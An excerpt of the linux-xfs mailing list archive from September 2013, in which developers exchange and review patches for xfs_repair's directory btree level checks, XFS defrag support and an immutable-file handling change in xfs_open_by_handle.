a node replacing a leaf, not a free > space block or data block being at the wrong place... Hm, well, above my new test we have (slightly snipped down): if (nodehdr.magic == XFS_DIR2_LEAFN_MAGIC || nodehdr.magic == XFS_DIR3_LEAFN_MAGIC) { ... *rbno = 0; libxfs_putbuf(bp); return(1); } else if (!(nodehdr.magic == XFS_DA_NODE_MAGIC || nodehdr.magic == XFS_DA3_NODE_MAGIC)) { ... _("bad dir magic number 0x%x in inode %" PRIu64 " bno = %u\n"), goto error_out; } so by this point, we actually MUST be either XFS_DA_NODE_MAGIC or XFS_DA3_NODE_MAGIC and then I added: if (i == -1) { i = da_cursor->active = nodehdr.level; if (i == 0 && (nodehdr.magic == XFS_DA_NODE_MAGIC || nodehdr.magic == XFS_DA3_NODE_MAGIC)) { do_warn( _("bad level 0 in interior inode for directory inode %" PRIu64 "\n"), da_cursor->ino); libxfs_putbuf(bp); i = -1; goto error_out; } So if anything, I should probably just drop the magic test, because it's already ensured. (along with a comment ...) -Eric From sandeen@sandeen.net Tue Sep 10 10:51:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 95B267F55 for ; Tue, 10 Sep 2013 10:51:31 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 67D9C8F804B for ; Tue, 10 Sep 2013 08:51:31 -0700 (PDT) X-ASG-Debug-ID: 1378828290-04bdf02f23eea130001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 22UoBP4IV00ORQHr for ; Tue, 10 Sep 2013 08:51:30 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id CFAA365A812B for ; Tue, 10 Sep 2013 10:51:29 -0500 (CDT) Message-ID: <522F4001.8010104@sandeen.net> Date: Tue, 10 Sep 2013 10:51:29 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: "'linux-xfs@oss.sgi.com'" Subject: [PATCH V2] xfs_repair: test for bad level in dir2 node References: <52274F96.2010702@sandeen.net> X-ASG-Orig-Subj: [PATCH V2] xfs_repair: test for bad level in dir2 node In-Reply-To: <52274F96.2010702@sandeen.net> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378828290 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140501 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- In traverse_int_dir2block(), the variable 'i' is the level in the tree, with 0 being a leaf node. In the "do" loop we start at the root, and work our way down to a leaf. If the first node we read is an interior node with NODE_MAGIC, but it tells us that its level is 0 (a leaf), this is clearly an inconsistency. Worse, we'd return with success, bno set, and only level[0] in the cursor initialized. Then down this path we'll segfault when accessing an uninitialized (and zeroed) member of the cursor's level array: process_node_dir2 traverse_int_dir2block // returns 0 w/ bno set, only level[0] init'd process_leaf_level_dir2 verify_dir2_path(mp, da_cursor, 0) // p_level == 0 this_level = p_level + 1; node = cursor->level[this_level].bp->b_addr; // level[1] uninit & 0'd Fix this by recognizing that an interior node w/ level 0 is invalid, and error out as for other inconsistencies. By the time the level 0 test is done, we have already ensured that this block has XFS_DA[3]_NODE_MAGIC. Reported-by: Jan Yves Brueckner Signed-off-by: Eric Sandeen --- V2: Drop re-test of hdr magic which is guaranteed to be NODE at this point. fix "interior inode" - s/b "interior node" My only testcase for this is Jan Yves Brueckner's badly corrupted filesystem image. With this change, we get i.e. : +bad level in interior inode for directory inode 39869938 +corrupt block 6 in directory inode 39869957 + will junk block diff --git a/repair/dir2.c b/repair/dir2.c index 05bd4b7..24db351 100644 --- a/repair/dir2.c +++ b/repair/dir2.c @@ -220,6 +220,15 @@ _("bad record count in inode %" PRIu64 ", count = %d, max = %d\n"), */ if (i == -1) { i = da_cursor->active = nodehdr.level; + /* Tests above ensure that we have NODE_MAGIC here */ + if (i == 0) { + do_warn( +_("bad level 0 in interior node for directory inode %" PRIu64 "\n"), + da_cursor->ino); + libxfs_putbuf(bp); + i = -1; + goto error_out; + } if (i >= XFS_DA_NODE_MAXDEPTH) { do_warn( _("bad header depth for directory inode %" PRIu64 "\n"), From tinguely@sgi.com Tue Sep 10 11:43:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B5B707F54 for ; Tue, 10 Sep 2013 11:43:22 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 955FE304051; Tue, 10 Sep 2013 09:43:19 -0700 (PDT) Message-ID: <522F4C26.2080106@sgi.com> Date: Tue, 10 Sep 2013 11:43:18 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH V2] xfs_repair: test for bad level in dir2 node References: <52274F96.2010702@sandeen.net> <522F4001.8010104@sandeen.net> In-Reply-To: <522F4001.8010104@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/10/13 10:51, Eric Sandeen wrote: > In traverse_int_dir2block(), the variable 'i' is the level in > the tree, with 0 being a leaf node. In the "do" loop we > start at the root, and work our way down to a leaf. > > If the first node we read is an interior node with NODE_MAGIC, > but it tells us that its level is 0 (a leaf), this is clearly > an inconsistency. > > Worse, we'd return with success, bno set, and only level[0] > in the cursor initialized. Then down this path we'll > segfault when accessing an uninitialized (and zeroed) member > of the cursor's level array: > > process_node_dir2 > traverse_int_dir2block // returns 0 w/ bno set, only level[0] init'd > process_leaf_level_dir2 > verify_dir2_path(mp, da_cursor, 0) // p_level == 0 > this_level = p_level + 1; > node = cursor->level[this_level].bp->b_addr; // level[1] uninit& 0'd > > Fix this by recognizing that an interior node w/ level 0 is invalid, and > error out as for other inconsistencies. > > By the time the level 0 test is done, we have already ensured that > this block has XFS_DA[3]_NODE_MAGIC. > > Reported-by: Jan Yves Brueckner > Signed-off-by: Eric Sandeen > --- > > V2: Drop re-test of hdr magic which is guaranteed to be NODE at this point. > fix "interior inode" - s/b "interior node" > > My only testcase for this is Jan Yves Brueckner's badly corrupted > filesystem image. With this change, we get i.e. : > > +bad level in interior inode for directory inode 39869938 > +corrupt block 6 in directory inode 39869957 > + will junk block > > diff --git a/repair/dir2.c b/repair/dir2.c > index 05bd4b7..24db351 100644 > --- a/repair/dir2.c > +++ b/repair/dir2.c > @@ -220,6 +220,15 @@ _("bad record count in inode %" PRIu64 ", count = %d, max = %d\n"), > */ > if (i == -1) { > i = da_cursor->active = nodehdr.level; > + /* Tests above ensure that we have NODE_MAGIC here */ > + if (i == 0) { > + do_warn( > +_("bad level 0 in interior node for directory inode %" PRIu64 "\n"), > + da_cursor->ino); > + libxfs_putbuf(bp); > + i = -1; > + goto error_out; > + } > if (i>= XFS_DA_NODE_MAXDEPTH) { > do_warn( > _("bad header depth for directory inode %" PRIu64 "\n"), > But moving the check out of the (i == -1) block, then the loop can check all the intermediate nodes along the way and also the ending leaf. --Mark. From sandeen@sandeen.net Tue Sep 10 12:24:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 584897F54 for ; Tue, 10 Sep 2013 12:24:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 486BE304051 for ; Tue, 10 Sep 2013 10:24:16 -0700 (PDT) X-ASG-Debug-ID: 1378833850-04cb6c2e9debc7a0001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id r2CgFcZE21ZTTBJ7 for ; Tue, 10 Sep 2013 10:24:10 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 12DA863C3F8B; Tue, 10 Sep 2013 12:24:10 -0500 (CDT) Message-ID: <522F55B9.3030509@sandeen.net> Date: Tue, 10 Sep 2013 12:24:09 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH V2] xfs_repair: test for bad level in dir2 node References: <52274F96.2010702@sandeen.net> <522F4001.8010104@sandeen.net> <522F4C26.2080106@sgi.com> X-ASG-Orig-Subj: Re: [PATCH V2] xfs_repair: test for bad level in dir2 node In-Reply-To: <522F4C26.2080106@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378833850 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140502 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/10/13 11:43 AM, Mark Tinguely wrote: > On 09/10/13 10:51, Eric Sandeen wrote: >> In traverse_int_dir2block(), the variable 'i' is the level in >> the tree, with 0 being a leaf node. In the "do" loop we >> start at the root, and work our way down to a leaf. >> >> If the first node we read is an interior node with NODE_MAGIC, >> but it tells us that its level is 0 (a leaf), this is clearly >> an inconsistency. >> >> Worse, we'd return with success, bno set, and only level[0] >> in the cursor initialized. Then down this path we'll >> segfault when accessing an uninitialized (and zeroed) member >> of the cursor's level array: >> >> process_node_dir2 >> traverse_int_dir2block // returns 0 w/ bno set, only level[0] init'd >> process_leaf_level_dir2 >> verify_dir2_path(mp, da_cursor, 0) // p_level == 0 >> this_level = p_level + 1; >> node = cursor->level[this_level].bp->b_addr; // level[1] uninit& 0'd >> >> Fix this by recognizing that an interior node w/ level 0 is invalid, and >> error out as for other inconsistencies. >> >> By the time the level 0 test is done, we have already ensured that >> this block has XFS_DA[3]_NODE_MAGIC. >> >> Reported-by: Jan Yves Brueckner >> Signed-off-by: Eric Sandeen >> --- >> >> V2: Drop re-test of hdr magic which is guaranteed to be NODE at this point. >> fix "interior inode" - s/b "interior node" >> >> My only testcase for this is Jan Yves Brueckner's badly corrupted >> filesystem image. With this change, we get i.e. : >> >> +bad level in interior inode for directory inode 39869938 >> +corrupt block 6 in directory inode 39869957 >> + will junk block >> >> diff --git a/repair/dir2.c b/repair/dir2.c >> index 05bd4b7..24db351 100644 >> --- a/repair/dir2.c >> +++ b/repair/dir2.c >> @@ -220,6 +220,15 @@ _("bad record count in inode %" PRIu64 ", count = %d, max = %d\n"), >> */ >> if (i == -1) { >> i = da_cursor->active = nodehdr.level; >> + /* Tests above ensure that we have NODE_MAGIC here */ >> + if (i == 0) { >> + do_warn( >> +_("bad level 0 in interior node for directory inode %" PRIu64 "\n"), >> + da_cursor->ino); >> + libxfs_putbuf(bp); >> + i = -1; >> + goto error_out; >> + } >> if (i>= XFS_DA_NODE_MAXDEPTH) { >> do_warn( >> _("bad header depth for directory inode %" PRIu64 "\n"), >> > > But moving the check out of the (i == -1) block, then the loop can check all the intermediate nodes along the way and also the ending leaf. > > --Mark. > Let me think about this. There is already some level consistency checking at each level: if (nodehdr.level == i - 1) { i--; } else { do_warn( _("bad directory btree for directory inode %" PRIu64 "\n"), ... goto error_out; but I guess maybe we could check _magic_ more carefully on other levels. Is that what you mean? Hm, but as I cited above, we *already* check that either: 1) The block magc is LEAFN. If so, we stop. We warn if it's not root level (but don't fix? Maybe that's a bug for another patch?) 2) The block magic is NODE. If not, we error out. and as I showed above: 3) The level matches each level we're at in the loop. So: Any block which isnt' LEAFN or NODE is caught prior to the (i == -1) block. Any block which has a level that doesn't match is caught on the else of the (i == -1) block. And those are the only 2 valid types here. What case is missing? -eric From bpm@sgi.com Tue Sep 10 12:51:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7177A7F54 for ; Tue, 10 Sep 2013 12:51:41 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id E769BAC007; Tue, 10 Sep 2013 10:51:37 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 898C44266DC; Tue, 10 Sep 2013 12:51:37 -0500 (CDT) Date: Tue, 10 Sep 2013 12:51:37 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: defrag support for v5 filesystems Message-ID: <20130910175137.GT1935@sgi.com> References: <1377822225-17621-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1377822225-17621-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Aug 30, 2013 at 10:23:43AM +1000, Dave Chinner wrote: > Hi folks, > > The following 2 patches implement the BMBT owner change transaction > that is necessary to enable the XFS_IOC_SWAPEXT ioctl to operate on > v5 filesystems correctly. The first patch implements the > transactional runtime change, and the second patch implements the > recovery of that change. > > Both the run time and recovery code use the same mechanism for > changing the owner field in all the blocks in the BMBT on an inode, > and even though XFS_IOC_SWAPEXT only swaps the data fork, the code > has been written to be fork neutral so if we even need to swap > attribute forks it should just work for that, too. > > Further, because the BMBT code uses the generic btree > infrastructure, the btree modification is done as a generic function > as well and so should work for all types of btrees supported by the > generic code. Hence if the need arises we can easily change the > owner of any btree that uses the generic code. > > The testing carried out is documented in the description of the > second patch. > > AFAIA, this is the only remaining feature that the kernel v5 > filesystem implementation didn't support. Hence, with this patchset, > there are no more feature checkboxes that need to be ticked that > would prevent us from removing the experimental tag from it. Testing > is the only remaining gate to removing the tag from the kernel > code... Applied these 2. From tinguely@sgi.com Tue Sep 10 13:03:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E1DB57F54 for ; Tue, 10 Sep 2013 13:03:07 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id A0EFD8F8039; Tue, 10 Sep 2013 11:03:04 -0700 (PDT) Message-ID: <522F5ED7.80005@sgi.com> Date: Tue, 10 Sep 2013 13:03:03 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH V2] xfs_repair: test for bad level in dir2 node References: <52274F96.2010702@sandeen.net> <522F4001.8010104@sandeen.net> <522F4C26.2080106@sgi.com> <522F55B9.3030509@sandeen.net> In-Reply-To: <522F55B9.3030509@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/10/13 12:24, Eric Sandeen wrote: > On 9/10/13 11:43 AM, Mark Tinguely wrote: >> On 09/10/13 10:51, Eric Sandeen wrote: >>> In traverse_int_dir2block(), the variable 'i' is the level in >>> the tree, with 0 being a leaf node. In the "do" loop we >>> start at the root, and work our way down to a leaf. >>> >>> If the first node we read is an interior node with NODE_MAGIC, >>> but it tells us that its level is 0 (a leaf), this is clearly >>> an inconsistency. >>> >>> Worse, we'd return with success, bno set, and only level[0] >>> in the cursor initialized. Then down this path we'll >>> segfault when accessing an uninitialized (and zeroed) member >>> of the cursor's level array: >>> >>> process_node_dir2 >>> traverse_int_dir2block // returns 0 w/ bno set, only level[0] init'd >>> process_leaf_level_dir2 >>> verify_dir2_path(mp, da_cursor, 0) // p_level == 0 >>> this_level = p_level + 1; >>> node = cursor->level[this_level].bp->b_addr; // level[1] uninit& 0'd >>> >>> Fix this by recognizing that an interior node w/ level 0 is invalid, and >>> error out as for other inconsistencies. >>> >>> By the time the level 0 test is done, we have already ensured that >>> this block has XFS_DA[3]_NODE_MAGIC. >>> >>> Reported-by: Jan Yves Brueckner >>> Signed-off-by: Eric Sandeen >>> --- >>> >>> V2: Drop re-test of hdr magic which is guaranteed to be NODE at this point. >>> fix "interior inode" - s/b "interior node" >>> >>> My only testcase for this is Jan Yves Brueckner's badly corrupted >>> filesystem image. With this change, we get i.e. : >>> >>> +bad level in interior inode for directory inode 39869938 >>> +corrupt block 6 in directory inode 39869957 >>> + will junk block >>> >>> diff --git a/repair/dir2.c b/repair/dir2.c >>> index 05bd4b7..24db351 100644 >>> --- a/repair/dir2.c >>> +++ b/repair/dir2.c >>> @@ -220,6 +220,15 @@ _("bad record count in inode %" PRIu64 ", count = %d, max = %d\n"), >>> */ >>> if (i == -1) { >>> i = da_cursor->active = nodehdr.level; >>> + /* Tests above ensure that we have NODE_MAGIC here */ >>> + if (i == 0) { >>> + do_warn( >>> +_("bad level 0 in interior node for directory inode %" PRIu64 "\n"), >>> + da_cursor->ino); >>> + libxfs_putbuf(bp); >>> + i = -1; >>> + goto error_out; >>> + } >>> if (i>= XFS_DA_NODE_MAXDEPTH) { >>> do_warn( >>> _("bad header depth for directory inode %" PRIu64 "\n"), >>> >> >> But moving the check out of the (i == -1) block, then the loop can check all the intermediate nodes along the way and also the ending leaf. >> >> --Mark. >> > > > Let me think about this. > > There is already some level consistency checking at each level: > > if (nodehdr.level == i - 1) { > i--; > } else { > do_warn( > _("bad directory btree for directory inode %" PRIu64 "\n"), > ... > goto error_out; > > > but I guess maybe we could check _magic_ more carefully on other levels. Is that what you mean? > > Hm, but as I cited above, we *already* check that either: > > 1) The block magc is LEAFN. If so, we stop. We warn if it's not root level (but don't fix? Maybe that's a bug for another patch?) Yes. We do not loop if "i == 1", so another LEAF should not be found. > 2) The block magic is NODE. If not, we error out. Yes. > and as I showed above: > 3) The level matches each level we're at in the loop. > > So: > > Any block which isnt' LEAFN or NODE is caught prior to the (i == -1) block. Yes must be a NODE. > Any block which has a level that doesn't match is caught on the else of the (i == -1) block. Yes, and "i" has to be larger than 1 because of the loop. Which I did not catch before. > > And those are the only 2 valid types here. > > What case is missing? > > -eric > With loop condition of "i > 1" then it cannot miss what I first thought was being missed, but the level of 1 being a leaf is not checked. --Mark. From tinguely@eagdhcp-232-140.americas.sgi.com Tue Sep 10 13:49:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C08407F54 for ; Tue, 10 Sep 2013 13:49:44 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id A64F68F804C; Tue, 10 Sep 2013 11:49:41 -0700 (PDT) Received: from eagdhcp-232-140.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5) with ESMTP id r8AInbX1009277; Tue, 10 Sep 2013 13:49:37 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-140.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5/Submit) id r8AInbvN009276; Tue, 10 Sep 2013 13:49:37 -0500 (CDT) (envelope-from tinguely) Message-Id: <20130910184724.726933044@sgi.com> User-Agent: quilt/0.51-1 Date: Tue, 10 Sep 2013 13:47:20 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Cc: Greg Banks Subject: [PATCH] xfs: change the immutable in xfs_open_by_handle Content-Disposition: inline; filename=xfs-change-immutable-in-xfs_open_by_handle.patch This patch allows clients like DMF to modify an immutable file without changing the immutable capability on the file, which would expose the file to change. This patch is restricted to holders of the CAP_LINUX_IMMUTABLE, so no addition security risk has been introduced. Signed-off-by: Greg Banks Singed-off-by: Mark Tinguely --- fs/xfs/xfs_ioctl.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) Index: b/fs/xfs/xfs_ioctl.c =================================================================== --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -237,7 +237,9 @@ xfs_open_by_handle( goto out_dput; } - if ((fmode & FMODE_WRITE) && IS_IMMUTABLE(inode)) { + if ((permflag & FMODE_WRITE) && + IS_IMMUTABLE(inode) && + !capable(CAP_LINUX_IMMUTABLE)) { error = -XFS_ERROR(EACCES); goto out_dput; } From david@fromorbit.com Tue Sep 10 16:20:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9A1847F3F for ; Tue, 10 Sep 2013 16:20:11 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 37C8EAC002 for ; Tue, 10 Sep 2013 14:20:08 -0700 (PDT) X-ASG-Debug-ID: 1378848006-04bdf02f21f059e0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id xVivFQZPm199GAql for ; Tue, 10 Sep 2013 14:20:06 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoQGAOOLL1J5Lapl/2dsb2JhbABbgweDSrpghUCBJRd0giUBAQU6HCMQCAMYCSUPBSUDIROIAcMkFo16gUsHgx2BAAOXdYo0hziDMiqBLA Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail07.adl2.internode.on.net with ESMTP; 11 Sep 2013 06:50:05 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VJVLu-0006ic-Dp; Wed, 11 Sep 2013 07:20:02 +1000 Date: Wed, 11 Sep 2013 07:20:02 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com, Greg Banks Subject: Re: [PATCH] xfs: change the immutable in xfs_open_by_handle Message-ID: <20130910212002.GB19103@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: change the immutable in xfs_open_by_handle References: <20130910184724.726933044@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130910184724.726933044@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1378848006 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140506 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 10, 2013 at 01:47:20PM -0500, Mark Tinguely wrote: > This patch allows clients like DMF to modify an immutable file > without changing the immutable capability on the file, which > would expose the file to change. > > This patch is restricted to holders of the CAP_LINUX_IMMUTABLE, > so no addition security risk has been introduced. > > Signed-off-by: Greg Banks > Singed-off-by: Mark Tinguely > --- > fs/xfs/xfs_ioctl.c | 4 +++- > 1 file changed, 3 insertions(+), 1 deletion(-) > > Index: b/fs/xfs/xfs_ioctl.c > =================================================================== > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -237,7 +237,9 @@ xfs_open_by_handle( > goto out_dput; > } > > - if ((fmode & FMODE_WRITE) && IS_IMMUTABLE(inode)) { > + if ((permflag & FMODE_WRITE) && Why the conversion from fmode to permflag? At minimum, this will probably throw sparse warnings for comparing a FMODE_* flag against a variable that is not a fmode_t.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Sep 10 16:33:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 661917F53 for ; Tue, 10 Sep 2013 16:33:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1ADC08F8059 for ; Tue, 10 Sep 2013 14:32:57 -0700 (PDT) X-ASG-Debug-ID: 1378848772-04bdf02f21f06a10001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 985johUpQPswPX8L for ; Tue, 10 Sep 2013 14:32:53 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoUGAGmPL1J5Lapl/2dsb2JhbABbgweDSrpghUCBJRd0giUBAQUaAQwTHA8UEAgYAwklDwUlAyETGYdowyEWjgcHgTcHgx2BAAOXdYo0hziDMiqBLQEeBg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail07.adl2.internode.on.net with ESMTP; 11 Sep 2013 07:02:51 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VJVYH-0006ko-RH; Wed, 11 Sep 2013 07:32:49 +1000 Date: Wed, 11 Sep 2013 07:32:49 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: [PATCH 31/55 V3] libxfs: switch over to xfs_sb.c and remove xfs_mount.c Message-ID: <20130910213249.GC19103@dastard> X-ASG-Orig-Subj: [PATCH 31/55 V3] libxfs: switch over to xfs_sb.c and remove xfs_mount.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> 